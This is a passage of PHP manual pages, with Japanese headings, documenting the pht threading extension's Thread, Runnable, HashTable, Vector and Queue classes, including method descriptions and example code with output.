    public function get_socketinlist($val) { return $this->list_socket[$val]; }
    public function get_adresse() { return $this->_adresse; }
    public function get_port() { return $this->_port; }
    public function get_socket() { return $this->socket; }
}

?>


pht

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
  • pht\Thread — The Thread class
    • pht\Thread::addClassTask — Class threading
    • pht\Thread::addFileTask — File threading
    • pht\Thread::addFunctionTask — Function threading
    • pht\Thread::join — Joins a thread
    • pht\Thread::start — Starts the new thread
    • pht\Thread::taskCount — Gets a thread's task count
  • pht\Runnable — The Runnable interface
    • pht\Runnable::run — The entry point of a threaded class
  • pht\HashTable — The HashTable class
    • pht\HashTable::lock — Acquires the hash table's mutex lock
    • pht\HashTable::size — Gets the size of the hash table
    • pht\HashTable::unlock — Releases the hash table's mutex lock
  • pht\Vector — The Vector class
    • pht\Vector::__construct — Vector creation
    • pht\Vector::deleteAt — Deletes a value in the vector
    • pht\Vector::insertAt — Inserts a value into the vector
    • pht\Vector::lock — Acquires the vector's mutex lock
    • pht\Vector::pop — Pops a value to the vector
    • pht\Vector::push — Pushes a value to the vector
    • pht\Vector::resize — Resizes a vector
    • pht\Vector::shift — Shifts a value from the vector
    • pht\Vector::size — Gets the size of the vector
    • pht\Vector::unlock — Releases the vector's mutex lock
    • pht\Vector::unshift — Unshifts a value to the vector front
    • pht\Vector::updateAt — Updates a value in the vector
  • pht\Queue — The Queue class
    • pht\Queue::front — Returns the first value from a queue
    • pht\Queue::lock — Acquires the queue's mutex lock
    • pht\Queue::pop — Pops a value off of the front of a queue
    • pht\Queue::push — Pushes a value to the end of a queue
    • pht\Queue::size — Gets the size of the queue
    • pht\Queue::unlock — Releases the queue's mutex lock
  • pht\AtomicInteger — The AtomicInteger class
    • pht\AtomicInteger::__construct — AtomicInteger creation
    • pht\AtomicInteger::dec — Decrements the atomic integer's value by one
    • pht\AtomicInteger::get — Gets the atomic integer's value
    • pht\AtomicInteger::inc — Increments the atomic integer's value by one
    • pht\AtomicInteger::lock — Acquires the atomic integer's mutex lock
    • pht\AtomicInteger::set — Sets the atomic integer's value
    • pht\AtomicInteger::unlock — Releases the atomic integer's mutex lock
  • pht\Threaded — The Threaded interface
    • pht\Threaded::lock — Acquires the mutex lock
    • pht\Threaded::unlock — Releases the mutex lock

User Contributed Notes

There are no user contributed notes for this page.


はじめに

pht is a new threading extension for PHP. It enables for classes, functions, and even entire files to be threaded. Currently, pht can only be used with PHP 7.2. This is due to ZTS mode being unsafe in PHP 7.0 and 7.1. Support for PHP >7.2 is coming soon.

警告

The pht extension should not be used in a web server environment. Threading should be restricted to CLI-based applications only.

The approach to threading that pht takes is to abstract away the thread itself behind a dedicated object (pht\Thread). Tasks are then added to the thread's internal task queue, where they are processed when the thread is started (via pht\Thread::start()).

All thread tasks will execute in isolation inside of the newly spawned thread. For class tasks, this means the spawned objects cannot be passed around between threads. By keeping the threading contexts completely separate from one-another, there becomes no need to serialise the properties of threaded objects (which is a necessary evil if such objects have to operate in multiple threads).

The isolation of threading contexts makes the passing around of data between them somewhat problematic. To solve this problem, threadable data structures (pht\HashTable, pht\Vector, and pht\Queue) have been implemented to allow for a two-way communication style between threads, where they expose mutex locks to control their integrity. These data structures can be safely passed around between threads, and manipulated by multiple threads using the mutex locks that have been packed in with them. They are reference-counted across threads, and so they do not need to be explicitly destroyed. This approach to threading means that only the given built-in data structures need to be safely passed around between threads.

Atomic values are also supported by pht. Currently, only an pht\AtomicInteger class exists. Like the threaded data structures, it too can safely be passed around between threads.

User Contributed Notes

There are no user contributed notes for this page.


要件

pht requires a ZTS (Zend Thread Safety) version of PHP. Currently, only PHP 7.2 is supported. Support for PHP 7.3 (which will be released at the end of 2018) will be coming soon. PHP 7.0 and 7.1 are unsafe to support, due to race conditions in ZTS mode.

pht should be compatible for any OS with the pthread library (or pthread-win32 library, which is for Windows).

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

pht releases are hosted (along with its source code) on the » pht GitHub repository. Unix developers will need to build from source (» instructions here). Windows developers can download the appropriate .dll file from the » repository's releases page. They will need to ensure that the provided pthreadVC2.dll file (which is distributed alongside the extension's .dll file) is made available in their PATH environment variable.

User Contributed Notes

There are no user contributed notes for this page.


The Thread class

(PECL pht >= 0.0.1)

はじめに

The pht\Thread class abstracts away a native thread. It has an internal task queue, where the methods pht\Thread::addClassTask(), pht\Thread::addFunctionTask(), and pht\Thread::addFileTask() push new tasks onto this queue. Invoking the pht\Thread::start() method will cause the new thread to be spawned, where it will then begin working through the task queue. A thread may be reused for any number of tasks.

クラス概要

pht\Thread {
/* メソッド */
public addClassTask ( string $className , mixed ...$ctorArgs ) : void
public addFileTask ( string $fileName , mixed ...$globals ) : void
public addFunctionTask ( callable $func , mixed ...$funcArgs ) : void
public join ( ) : void
public start ( ) : void
public taskCount ( ) : int
}

目次

  • pht\Thread::addClassTask — Class threading
  • pht\Thread::addFileTask — File threading
  • pht\Thread::addFunctionTask — Function threading
  • pht\Thread::join — Joins a thread
  • pht\Thread::start — Starts the new thread
  • pht\Thread::taskCount — Gets a thread's task count

User Contributed Notes

There are no user contributed notes for this page.


Class threading

  • ≪ pht\Thread
  • pht\Thread::addFileTask ≫
  • PHP Manual
  • pht\Thread
  • Class threading

pht\Thread::addClassTask

(PECL pht >= 0.0.1)

pht\Thread::addClassTask — Class threading

説明

public pht\Thread::addClassTask ( string $className , mixed ...$ctorArgs ) : void

Adds a new class task to a pht\Threads internal task queue.

パラメータ

className

The name of the class to be threaded. This class must implement the pht\Runnable interface.

ctorArgs

An optional list of arguments for the threaded class' constructor. These arguments will be serialised (since they are being passed to another thread).

返り値

No return value.

例

例1 Adding a new class task to a thread

<?php

use pht\{Thread, Runnable};

class Task implements Runnable
{
    private $one;

    public function __construct(int $one)
    {
        $this->one = $one;
    }

    public function run()
    {
        var_dump($this->one);
    }
}

$thread = new Thread();

$thread->addClassTask(Task::class, 1);

$thread->start();
$thread->join();

上の例の出力は以下となります。

int(1)

User Contributed Notes

There are no user contributed notes for this page.


File threading

  • ≪ pht\Thread::addClassTask
  • pht\Thread::addFunctionTask ≫
  • PHP Manual
  • pht\Thread
  • File threading

pht\Thread::addFileTask

(PECL pht >= 0.0.1)

pht\Thread::addFileTask — File threading

説明

public pht\Thread::addFileTask ( string $fileName , mixed ...$globals ) : void

Adds a new file task to a pht\Threads internal task queue.

パラメータ

func

The name of the file to be threaded.

globals

An optional list of arguments for the file. These arguments will be placed into a $_THREAD superglobal, which will be made available inside of the threaded file. All arguments will be serialised (since they are being passed to another thread).

返り値

No return value.

例

例1 Adding a new file task to a thread

<?php

use pht\Thread;

$thread = new Thread();

$thread->addFileTask('file.php', 1, 2, 3);

$thread->start();
$thread->join();

file.php:

<?php

[$one, $two, $three] = $_THREAD;

var_dump($one, $two, $three);

上の例の出力は以下となります。

int(1)
int(2)
int(3)

User Contributed Notes

There are no user contributed notes for this page.


Function threading

  • ≪ pht\Thread::addFileTask
  • pht\Thread::join ≫
  • PHP Manual
  • pht\Thread
  • Function threading

pht\Thread::addFunctionTask

(PECL pht >= 0.0.1)

pht\Thread::addFunctionTask — Function threading

説明

public pht\Thread::addFunctionTask ( callable $func , mixed ...$funcArgs ) : void

Adds a new function task to a pht\Threads internal task queue.

パラメータ

func

The function to be threaded. If it is bound to an instance, then $this will become null.

funcArgs

An optional list of arguments for the function. These arguments will be serialised (since they are being passed to another thread).

返り値

No return value.

例

例1 Adding a new function task to a thread

<?php

use pht\Thread;

class Test
{
    public static function run(){var_dump(5);}
    public static function run2(){var_dump(6);}
}

function aFunc(){var_dump(3);}

$thread = new Thread();

$thread->addFunctionTask(static function($one) {var_dump($one);}, 1);
$thread->addFunctionTask(function() {var_dump(2);});
$thread->addFunctionTask('aFunc');
$thread->addFunctionTask('array_map', function ($n) {var_dump($n);}, [4]);
$thread->addFunctionTask(['Test', 'run']);
$thread->addFunctionTask([new Test, 'run2']);

$thread->start();
$thread->join();

上の例の出力は以下となります。

int(1)
int(2)
int(3)
int(4)
int(5)
int(6)

User Contributed Notes

There are no user contributed notes for this page.


Joins a thread

  • ≪ pht\Thread::addFunctionTask
  • pht\Thread::start ≫
  • PHP Manual
  • pht\Thread
  • Joins a thread

pht\Thread::join

(PECL pht >= 0.0.1)

pht\Thread::join — Joins a thread

説明

public pht\Thread::join ( ) : void

This method will join the spawned thread (though it will first wait for that thread's internal task queue to finish). As a matter of good practice, threads should always be joined. Not joining a thread may lead to undefined behaviour.

パラメータ

この関数にはパラメータはありません。

返り値

No return value.

例

例1 Joining a thread

<?php

use pht\Thread;

$thread = new Thread();

$thread->start();
$thread->join();

User Contributed Notes

There are no user contributed notes for this page.


Starts the new thread

  • ≪ pht\Thread::join
  • pht\Thread::taskCount ≫
  • PHP Manual
  • pht\Thread
  • Starts the new thread

pht\Thread::start

(PECL pht >= 0.0.1)

pht\Thread::start — Starts the new thread

説明

public pht\Thread::start ( ) : void

This will cause a new thread to be spawned for the associated pht\Thread object, where its internal task queue will begin to be processed.

パラメータ

この関数にはパラメータはありません。

返り値

No return value.

例

例1 Starting a new thread

<?php

use pht\Thread;

$thread = new Thread();

$thread->start();
$thread->join();

User Contributed Notes

There are no user contributed notes for this page.


Gets a thread's task count

  • ≪ pht\Thread::start
  • pht\Runnable ≫
  • PHP Manual
  • pht\Thread
  • Gets a thread's task count

pht\Thread::taskCount

(PECL pht >= 0.0.1)

pht\Thread::taskCount — Gets a thread's task count

説明

public pht\Thread::taskCount ( ) : int

Retrieves the current task count of a pht\Thread.

パラメータ

この関数にはパラメータはありません。

返り値

The number of tasks remaining to be processed.

例

例1 Getting the task count of a thread

<?php

use pht\Thread;

$thread = new Thread();

$thread->addFunctionTask(function (){});
$thread->addFunctionTask(function (){});
$thread->addFunctionTask(function (){});

var_dump($thread->taskCount());

上の例の出力は以下となります。

int(3)

User Contributed Notes

There are no user contributed notes for this page.


The Runnable interface

(PECL pht >= 0.0.1)

はじめに

The pht\Runnable interface enforces the implementation of a run() method on classes that should be threaded. This method acts as the entry point of the threaded class.

インターフェイス概要

pht\Runnable {
/* メソッド */
public run ( ) : void
}

目次

  • pht\Runnable::run — The entry point of a threaded class

User Contributed Notes

There are no user contributed notes for this page.


The entry point of a threaded class

  • ≪ pht\Runnable
  • pht\HashTable ≫
  • PHP Manual
  • pht\Runnable
  • The entry point of a threaded class

pht\Runnable::run

(PECL pht >= 0.0.1)

pht\Runnable::run — The entry point of a threaded class

説明

public pht\Runnable::run ( ) : void

This method acts as the entry point of execution for a threaded class. It must be defined by all classes that will be threaded.

パラメータ

この関数にはパラメータはありません。

返り値

No return value.

User Contributed Notes

There are no user contributed notes for this page.


The HashTable class

(PECL pht >= 0.0.1)

はじめに

The pht\HashTable class is one of the Inter-Thread Communication (ITC) data structures exposed by pht. It can be safely passed around between threads, and manipulated by multiple threads using the mutex locks that have been packed in with the data structure. It is reference-counted across threads, and so it does not need to be explicitly destroyed.

The pht\HashTable class enables for array access upon its objects (along with the isset() and unset() functions). The ArrayAccess interface is not explicitly implemented, however, because it is only needed for such abilities by userland classes.

クラス概要

pht\HashTable implements pht\Threaded {
/* メソッド */
public lock ( ) : void
public size ( ) : int
public unlock ( ) : void
}

目次

  • pht\HashTable::lock — Acquires the hash table's mutex lock
  • pht\HashTable::size — Gets the size of the hash table
  • pht\HashTable::unlock — Releases the hash table's mutex lock

User Contributed Notes

There are no user contributed notes for this page.


Acquires the hash table's mutex lock

  • ≪ pht\HashTable
  • pht\HashTable::size ≫
  • PHP Manual
  • pht\HashTable
  • Acquires the hash table's mutex lock

pht\HashTable::lock

(PECL pht >= 0.0.1)

pht\HashTable::lock — Acquires the hash table's mutex lock

説明

public pht\HashTable::lock ( ) : void

This method will acquire the mutex lock associated with the hash table. The mutex lock should always be acquired when manipulating the hash table if it is being used by multiple threads.

The mutex locks of the Inter-Thread Communication (ITC) data structures are not reentrant. Attempting to reacquire an already-acquired mutex lock by the same thread will therefore cause a deadlock.

パラメータ

この関数にはパラメータはありません。

返り値

No return value.

例

例1 Locking a hash table's mutex lock

<?php

use pht\{Thread, HashTable};

$thread = new Thread();
$hashTable = new HashTable();

$thread->addFunctionTask(function ($hashTable) {
    $hashTable->lock();
    $hashTable['a'] = 1;
    $hashTable->unlock();
}, $hashTable);

$thread->start();

// $hashTable is currently being used by multiple threads
$hashTable->lock();
$hashTable['b'] = 2;
$hashTable->unlock();

$thread->join();

User Contributed Notes

There are no user contributed notes for this page.


Gets the size of the hash table

  • ≪ pht\HashTable::lock
  • pht\HashTable::unlock ≫
  • PHP Manual
  • pht\HashTable
  • Gets the size of the hash table

pht\HashTable::size

(PECL pht >= 0.0.1)

pht\HashTable::size — Gets the size of the hash table

説明

public pht\HashTable::size ( ) : int

Returns the current size of the hash table. This operation requires a pht\HashTable's mutex lock to be held if it is being used by multiple threads.

パラメータ

この関数にはパラメータはありません。

返り値

The size of the hash table.

例

例1 Getting a hash table's size

<?php

use pht\HashTable;

$hashTable = new HashTable();

$hashTable['a'] = 1;
$hashTable['b'] = 2;

var_dump($hashTable->size());

上の例の出力は以下となります。

int(2)

User Contributed Notes

There are no user contributed notes for this page.


Releases the hash table's mutex lock

  • ≪ pht\HashTable::size
  • pht\Vector ≫
  • PHP Manual
  • pht\HashTable
  • Releases the hash table's mutex lock

pht\HashTable::unlock

(PECL pht >= 0.0.1)

pht\HashTable::unlock — Releases the hash table's mutex lock

説明

public pht\HashTable::unlock ( ) : void

This method will release the mutex lock associated with the hash table.

パラメータ

この関数にはパラメータはありません。

返り値

No return value.

例

例1 Locking a hash table's mutex lock

<?php

use pht\{Thread, HashTable};

$thread = new Thread();
$hashTable = new HashTable();

$thread->addFunctionTask(function ($hashTable) {
    $hashTable->lock();
    $hashTable['a'] = 1;
    $hashTable->unlock();
}, $hashTable);

$thread->start();

// $hashTable is currently being used by multiple threads
$hashTable->lock();
$hashTable['b'] = 2;
$hashTable->unlock();

$thread->join();

User Contributed Notes

There are no user contributed notes for this page.


The Vector class

(PECL pht >= 0.0.1)

はじめに

The pht\Vector class is one of the Inter-Thread Communication (ITC) data structures exposed by pht. It can be safely passed around between threads, and manipulated by multiple threads using the mutex locks that have been packed in with the data structure. It is reference-counted across threads, and so is does not need to be explicitly destroyed.

The pht\Vector class enables for array access upon its objects (along with the isset() and unset() functions). The ArrayAccess interface is not explicitly implemented, however, because it is only needed for such abilities by userland classes.

クラス概要

pht\Vector implements pht\Threaded {
/* メソッド */
public __construct ( int $size = 0 , mixed $value = 0 ) : Vector
public deleteAt ( int $offset ) : void
public insertAt ( mixed $value , int $offset ) : void
public lock ( ) : void
public pop ( ) : mixed
public push ( mixed $value ) : void
public resize ( int $size , mixed $value = 0 ) : void
public shift ( ) : mixed
public size ( ) : int
public unlock ( ) : void
public unshift ( mixed $value ) : void
public updateAt ( mixed $value , int $offset ) : void
}

目次

  • pht\Vector::__construct — Vector creation
  • pht\Vector::deleteAt — Deletes a value in the vector
  • pht\Vector::insertAt — Inserts a value into the vector
  • pht\Vector::lock — Acquires the vector's mutex lock
  • pht\Vector::pop — Pops a value to the vector
  • pht\Vector::push — Pushes a value to the vector
  • pht\Vector::resize — Resizes a vector
  • pht\Vector::shift — Shifts a value from the vector
  • pht\Vector::size — Gets the size of the vector
  • pht\Vector::unlock — Releases the vector's mutex lock
  • pht\Vector::unshift — Unshifts a value to the vector front
  • pht\Vector::updateAt — Updates a value in the vector

User Contributed Notes

There are no user contributed notes for this page.


Vector creation

  • ≪ pht\Vector
  • pht\Vector::deleteAt ≫
  • PHP Manual
  • pht\Vector
  • Vector creation

pht\Vector::__construct

(PECL pht >= 0.0.1)

pht\Vector::__construct — Vector creation

説明

public pht\Vector::__construct ( int $size = 0 , mixed $value = 0 ) : Vector

Handles the creation of a new vector.

パラメータ

size

The size of the vector that will be created.

value

The value to initialise the empty slots in the vector to.

返り値

No return value.

例

例1 Creating a new vector

<?php

use pht\Vector;

$vector1 = new Vector(1);
$vector2 = new Vector(2, 1);

var_dump($vector1, $vector2);

上の例の出力は以下となります。

object(pht\Vector)#1 (1) {
  [0]=>
  int(0)
}
object(pht\Vector)#2 (2) {
  [0]=>
  int(1)
  [1]=>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


Deletes a value in the vector

  • ≪ pht\Vector::__construct
  • pht\Vector::insertAt ≫
  • PHP Manual
  • pht\Vector
  • Deletes a value in the vector

pht\Vector::deleteAt

(PECL pht >= 0.0.1)

pht\Vector::deleteAt — Deletes a value in the vector

説明

public pht\Vector::deleteAt ( int $offset ) : void

This method deletes a value at the specified offset in the vector (in linear time).

Since the pht\Vector class supports array access, deleting values can also be performed using the array subset notation ([]) in combination with the unset() function.

パラメータ

offset

The offset at which the value will be deleted at. This offset must be within the 0..(N-1) range (inclusive), where N is the size of the vector. Attempting to delete at offsets outside of this range will result in an Error exception.

返り値

No return value.

例

例1 Deleting values in a vector

<?php

use pht\Vector;

$vector = new Vector();

$vector[] = 1;
$vector[] = 2;
$vector[] = 3;
$vector[] = 4;

$vector->deleteAt(1);
unset($vector[1]);

var_dump($vector);

上の例の出力は以下となります。

object(pht\Vector)#1 (2) {
  [0]=>
  int(1)
  [1]=>
  int(4)
}

User Contributed Notes

There are no user contributed notes for this page.


Inserts a value into the vector

  • ≪ pht\Vector::deleteAt
  • pht\Vector::lock ≫
  • PHP Manual
  • pht\Vector
  • Inserts a value into the vector

pht\Vector::insertAt

(PECL pht >= 0.0.1)

pht\Vector::insertAt — Inserts a value into the vector

説明

public pht\Vector::insertAt ( mixed $value , int $offset ) : void

This method inserts a value at the specified offset into the vector (in linear time). The vector will automatically be resized if it is not large enough.

パラメータ

value

The value to be inserted into the vector. This value will be serialised (since it may be passed around between threads).

offset

The offset at which the value will be inserted at. This offset must be within the 0..N range (inclusive), where N is the size of the vector. Inserting at position N is the equivalent of using pht\Vector::push(), and inserting at position 0 is the equivalent of using pht\Vector::unshift(). Attempting to insert at offsets outside of this range will result in an Error exception.

返り値

No return value.

例

例1 Inserting a value into a vector

<?php

use pht\Vector;

$vector = new Vector();

$vector->insertAt(3, 0); // insert 3 at start
$vector->insertAt(1, 0); // insert 1 at start (before 3)
$vector->insertAt(2, 1); // insert 2 in middle (after 1 and before 3)

var_dump($vector);

上の例の出力は以下となります。

object(pht\Vector)#1 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Acquires the vector's mutex lock

  • ≪ pht\Vector::insertAt
  • pht\Vector::pop ≫
  • PHP Manual
  • pht\Vector
  • Acquires the vector's mutex lock

pht\Vector::lock

(PECL pht >= 0.0.1)

pht\Vector::lock — Acquires the vector's mutex lock

説明

public pht\Vector::lock ( ) : void

This method will acquire the mutex lock associated with the vector. The mutex lock should always be acquired when manipulating the vector if it is being used by multiple threads.

The mutex locks of the Inter-Thread Communication (ITC) data structures are not reentrant. Attempting to reacquire an already-acquired mutex lock by the same thread will therefore cause a deadlock.

パラメータ

この関数にはパラメータはありません。

返り値

No return value.

例

例1 Locking a vector's mutex lock

<?php

use pht\{Thread, Vector};

$thread = new Thread();
$vector = new Vector();

$thread->addFunctionTask(function ($vector) {
    $vector->lock();
    $vector[] = 1;
    $vector->unlock();
}, $vector);

$thread->start();

// $vector is currently being used by multiple threads
$vector->lock();
$vector[] = 2;
$vector->unlock();

$thread->join();

User Contributed Notes

There are no user contributed notes for this page.


Pops a value to the vector

  • ≪ pht\Vector::lock
  • pht\Vector::push ≫
  • PHP Manual
  • pht\Vector
  • Pops a value to the vector

pht\Vector::pop

(PECL pht >= 0.0.1)

pht\Vector::pop — Pops a value to the vector

説明

public pht\Vector::pop ( ) : mixed

This method pops a value from the end of a vector (in constant time). Popping a value from an empty vector will result in an Error exception.

パラメータ

この関数にはパラメータはありません。

返り値

The value from the end of the vector.

例

例1 Popping a value from a vector

<?php

use pht\Vector;

$vector = new Vector();

$vector->push(1);
$vector[] = 2;

var_dump($vector->pop());

上の例の出力は以下となります。

int(2)

User Contributed Notes

There are no user contributed notes for this page.


Pushes a value to the vector

  • ≪ pht\Vector::pop
  • pht\Vector::resize ≫
  • PHP Manual
  • pht\Vector
  • Pushes a value to the vector

pht\Vector::push

(PECL pht >= 0.0.1)

pht\Vector::push — Pushes a value to the vector

説明

public pht\Vector::push ( mixed $value ) : void

This method pushes a value onto the end of a vector (in constant time). The vector will automatically be resized if it is not large enough.

Since the pht\Vector class supports array access, new values can also be pushed onto the vector using the empty subset notation ([]).

パラメータ

value

The value to be pushed onto the end of the vector. This value will be serialised (since it may be passed around between threads).

返り値

No return value.

例

例1 Pushing values to a vector

<?php

use pht\Vector;

$vector = new Vector();

$vector->push(1);
$vector[] = 2;

var_dump($vector);

上の例の出力は以下となります。

object(pht\Vector)#1 (2) {
  [0]=>
  int(1)
  [1]=>
  int(2)
}

User Contributed Notes

There are no user contributed notes for this page.


Resizes a vector

  • ≪ pht\Vector::push
  • pht\Vector::shift ≫
  • PHP Manual
  • pht\Vector
  • Resizes a vector

pht\Vector::resize

(PECL pht >= 0.0.1)

pht\Vector::resize — Resizes a vector

説明

public pht\Vector::resize ( int $size , mixed $value = 0 ) : void

Resizes the vector. If it is enlarged, then the value parameter will be used to fill in the new slots. If it is made smaller, then the end values will be truncated.

パラメータ

size

The new size of the vector.

value

The value to initialise the empty vector slots to (only used if the vector is enlarged).

返り値

No return value.

例

例1 Resizing a vector

<?php

use pht\Vector;

$vector = new Vector(1);
var_dump($vector);
$vector->resize(2, 1);
var_dump($vector);
$vector->resize(1, 2); // unused second arg
var_dump($vector);

上の例の出力は以下となります。

object(pht\Vector)#1 (1) {
  [0]=>
  int(0)
}
object(pht\Vector)#1 (2) {
  [0]=>
  int(0)
  [1]=>
  int(1)
}
object(pht\Vector)#1 (1) {
  [0]=>
  int(0)
}

User Contributed Notes

There are no user contributed notes for this page.


Shifts a value from the vector

  • ≪ pht\Vector::resize
  • pht\Vector::size ≫
  • PHP Manual
  • pht\Vector
  • Shifts a value from the vector

pht\Vector::shift

(PECL pht >= 0.0.1)

pht\Vector::shift — Shifts a value from the vector

説明

public pht\Vector::shift ( ) : mixed

This method shifts a value from the front of a vector (in linear time). Shifting a value from an empty vector will result in an Error exception.

パラメータ

この関数にはパラメータはありません。

返り値

The value from the front of the vector.

例

例1 Shifting a value from a vector

<?php

use pht\Vector;

$vector = new Vector();

$vector->push(1);
$vector[] = 2;

var_dump($vector->shift());

上の例の出力は以下となります。

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Gets the size of the vector

  • ≪ pht\Vector::shift
  • pht\Vector::unlock ≫
  • PHP Manual
  • pht\Vector
  • Gets the size of the vector

pht\Vector::size

(PECL pht >= 0.0.1)

pht\Vector::size — Gets the size of the vector

説明

public pht\Vector::size ( ) : int

Returns the current size of the vector. This operation requires a pht\Vector's mutex lock to be held if it is being used by multiple threads.

パラメータ

この関数にはパラメータはありません。

返り値

The size of the vector.

例

例1 Getting a vector's size

<?php

use pht\Vector;

$vector = new Vector();

$vector[] = 1;
$vector[] = 2;
$vector[] = 3;

var_dump($vector->size());

上の例の出力は以下となります。

int(3)

User Contributed Notes

There are no user contributed notes for this page.


Releases the vector's mutex lock

  • ≪ pht\Vector::size
  • pht\Vector::unshift ≫
  • PHP Manual
  • pht\Vector
  • Releases the vector's mutex lock

pht\Vector::unlock

(PECL pht >= 0.0.1)

pht\Vector::unlock — Releases the vector's mutex lock

説明

public pht\Vector::unlock ( ) : void

This method will release the mutex lock associated with the vector.

パラメータ

この関数にはパラメータはありません。

返り値

No return value.

例

例1 Locking a vector's mutex lock

<?php

use pht\{Thread, Vector};

$thread = new Thread();
$vector = new Vector();

$thread->addFunctionTask(function ($vector) {
    $vector->lock();
    $vector[] = 1;
    $vector->unlock();
}, $vector);

$thread->start();

// $vector is currently being used by multiple threads
$vector->lock();
$vector[] = 2;
$vector->unlock();

$thread->join();

User Contributed Notes

There are no user contributed notes for this page.


Unshifts a value to the vector front

  • ≪ pht\Vector::unlock
  • pht\Vector::updateAt ≫
  • PHP Manual
  • pht\Vector
  • Unshifts a value to the vector front

pht\Vector::unshift

(PECL pht >= 0.0.1)

pht\Vector::unshift — Unshifts a value to the vector front

説明

public pht\Vector::unshift ( mixed $value ) : void

This method unshifts a value to the front of a vector (in linear time). The vector will automatically be resized if it is not large enough.

パラメータ

value

The value to be pushed onto the beginning of the vector. This value will be serialised (since it may be passed around between threads).

返り値

No return value.

例

例1 Unshifting a value to the front of a vector

<?php

use pht\Vector;

$vector = new Vector();

for ($i = 0; $i < 3; ++$i) {
    $vector->unshift($i); // causes a quadratic runtime, beware
}

var_dump($vector);

上の例の出力は以下となります。

object(pht\Vector)#1 (3) {
  [0]=>
  int(2)
  [1]=>
  int(1)
  [2]=>
  int(0)
}

User Contributed Notes

There are no user contributed notes for this page.


Updates a value in the vector

  • ≪ pht\Vector::unshift
  • pht\Queue ≫
  • PHP Manual
  • pht\Vector
  • Updates a value in the vector

pht\Vector::updateAt

(PECL pht >= 0.0.1)

pht\Vector::updateAt — Updates a value in the vector

説明

public pht\Vector::updateAt ( mixed $value , int $offset ) : void

This method updates a value at the specified offset in the vector (in linear time). The vector will automatically be resized if it is not large enough.

Since the pht\Vector class supports array access, updating values can also be performed using the array subset notation ([]).

パラメータ

value

The value to be inserted into the vector. This value will be serialised (since it may be passed around between threads).

offset

The offset at which the value will be updated at. This offset must be within the 0..(N-1) range (inclusive), where N is the size of the vector. Attempting to update at offsets outside of this range will result in an Error exception.

返り値

No return value.

例

例1 Updating a value in a vector

<?php

use pht\Vector;

$vector = new Vector();

$vector[] = 1;
$vector[] = 2;

$vector->updateAt(3, 0);
$vector[1] = 4;

var_dump($vector);

上の例の出力は以下となります。

object(pht\Vector)#1 (2) {
  [0]=>
  int(3)
  [1]=>
  int(4)
}

User Contributed Notes

There are no user contributed notes for this page.


The Queue class

(PECL pht >= 0.0.1)

はじめに

The pht\Queue class is one of the Inter-Thread Communication (ITC) data structures exposed by pht. It can be safely passed around between threads, and manipulated by multiple threads using the mutex locks that have been packed in with the data structure. It is reference-counted across threads, and so it does not need to be explicitly destroyed.

クラス概要

pht\Queue implements pht\Threaded {
/* メソッド */
public front ( ) : mixed
public lock ( ) : void
public pop ( ) : mixed
public push ( mixed $value ) : void
public size ( ) : int
public unlock ( ) : void
}

目次

  • pht\Queue::front — Returns the first value from a queue
  • pht\Queue::lock — Acquires the queue's mutex lock
  • pht\Queue::pop — Pops a value off of the front of a queue
  • pht\Queue::push — Pushes a value to the end of a queue
  • pht\Queue::size — Gets the size of the queue
  • pht\Queue::unlock — Releases the queue's mutex lock

User Contributed Notes

There are no user contributed notes for this page.


Returns the first value from a queue

  • ≪ pht\Queue
  • pht\Queue::lock ≫
  • PHP Manual
  • pht\Queue
  • Returns the first value from a queue

pht\Queue::front

(PECL pht >= 0.0.1)

pht\Queue::front — Returns the first value from a queue

説明

public pht\Queue::front ( ) : mixed

This method will remove a value from the front of the queue (in constant time). Attempting to return the front value from an empty queue will result in an Error exception.

警告

Due to the fact that all values in a pht\Queue are serialised, extracting a value from the queue will require it to be deserialised. This can incur a noticeable performance hit if the inspection of the queue's front value is performed within a loop.

パラメータ

この関数にはパラメータはありません。

返り値

The value on the front of the queue.

例

例1 Retrieving the front value of a queue

<?php

use pht\Queue;

$queue = new Queue();

$queue->push(1);

var_dump($queue->front());

上の例の出力は以下となります。

int(1)

例2 Retrieving the front value in a loop (bad example - don't do this)

<?php

use pht\Queue;

$queue = new Queue();

$queue->push(array_fill(0, 2000, 0));

for ($i = 0; $i < count($queue->front()); ++$i); // quadratic runtime

例3 Retrieving the front value in a loop (good example)

<?php

use pht\Queue;

$queue = new Queue();

$queue->push(array_fill(0, 2000, 0));

$front = $queue->front(); // create a separate variable
for ($i = 0; $i < count($front); ++$i); // linear runtime

User Contributed Notes

There are no user contributed notes for this page.


Acquires the queue's mutex lock

  • ≪ pht\Queue::front
  • pht\Queue::pop ≫
  • PHP Manual
  • pht\Queue
  • Acquires the queue's mutex lock

pht\Queue::lock

(PECL pht >= 0.0.1)

pht\Queue::lock — Acquires the queue's mutex lock

説明

public pht\Queue::lock ( ) : void

This method will acquire the mutex lock associated with the queue. The mutex lock should always be acquired when manipulating the queue if it is being used by multiple threads.

The mutex locks of the Inter-Thread Communication (ITC) data structures are not reentrant. Attempting to reacquire an already-acquired mutex lock by the same thread will therefore cause a deadlock.

パラメータ

この関数にはパラメータはありません。

返り値

No return value.

例

例1 Locking a queue's mutex lock

<?php

use pht\{Thread, Queue};

$thread = new Thread();
$queue = new Queue();

$thread->addFunctionTask(function ($queue) {
    $queue->lock();
    $queue->push(1);
    $queue->unlock();
}, $queue);

$thread->start();

// $queue is currently being used by multiple threads
$queue->lock();
$queue->push(1);
$queue->unlock();

$thread->join();

// $queue is only being used in this thread now, so no need to lock it
while ($queue->size()) {
    var_dump($queue->pop());
}

上の例の出力は以下となります。

int(1)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Pops a value off of the front of a queue

  • ≪ pht\Queue::lock
  • pht\Queue::push ≫
  • PHP Manual
  • pht\Queue
  • Pops a value off of the front of a queue

pht\Queue::pop

(PECL pht >= 0.0.1)

pht\Queue::pop — Pops a value off of the front of a queue

説明

public pht\Queue::pop ( ) : mixed

This method will remove a value from the front of the queue (in constant time). Attempting to pop a value from an empty queue will result in an Error exception.

パラメータ

この関数にはパラメータはありません。

返り値

The value removed from the queue.

例

例1 Popping a value from a queue

<?php

use pht\Queue;

$queue = new Queue();

$queue->push(1);

var_dump($queue->pop());

上の例の出力は以下となります。

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Pushes a value to the end of a queue

  • ≪ pht\Queue::pop
